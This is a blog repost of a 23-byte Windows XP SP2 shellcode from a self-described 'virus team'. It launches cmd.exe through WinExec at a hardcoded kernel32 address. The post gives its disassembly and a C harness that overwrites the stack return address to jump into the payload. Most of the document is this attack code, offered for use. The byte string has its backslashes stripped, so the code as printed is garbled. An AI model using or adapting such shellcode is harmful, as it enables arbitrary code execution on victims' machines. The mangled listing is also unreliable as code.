win32/xp sp2 (En + Ar) cmd.exe 23 bytes

最新推荐文章于 2024-11-04 21:48:47 发布

Purplecode

最新推荐文章于 2024-11-04 21:48:47 发布

阅读量520

点赞数

文章标签： windows email byte xp 2010 x86

本文链接：https://blog.csdn.net/Purplecode/article/details/5320527

版权

win32/xp sp2 (En + Ar) cmd.exe 23 bytes

/*
win32/xp sp2 (En + Ar) cmd.exe 23 bytes
Author : AnTi SeCuRe
TeaM : SauDi ViRuS TeaM
Email : AnTi-SeCuRe@HoTMaiL.CoM
Site : WwW.VxX9.Cc
Thx To : Stack , SauDi ViRuS TeaM ( RENO - Dr.php - ! BaD BoY ! - Jetli007
- Gov.hacker )
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under
Windows Xp SP2 English and arabic .
get the following if we disassemle this code compiled with olly debugger

00402000 > 8BEC MOV EBP,ESP
00402002 . 68 65786520 PUSH 20657865
00402007 . 68 636D642E PUSH 2E646D63
0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040200F . 50 PUSH EAX
00402010 . B8 8D15867C MOV EAX,kernel32.WinExec
00402015 . FFD0 CALL EAX
*/
#include <stdio.h>
unsigned char shellcode[] =
"x8bxecx68x65x78x65"
"x20x68x63x6dx64x2e"
"x8dx45xf8x50xb8x8D"
"x15x86x7Cxffxd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %dn",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}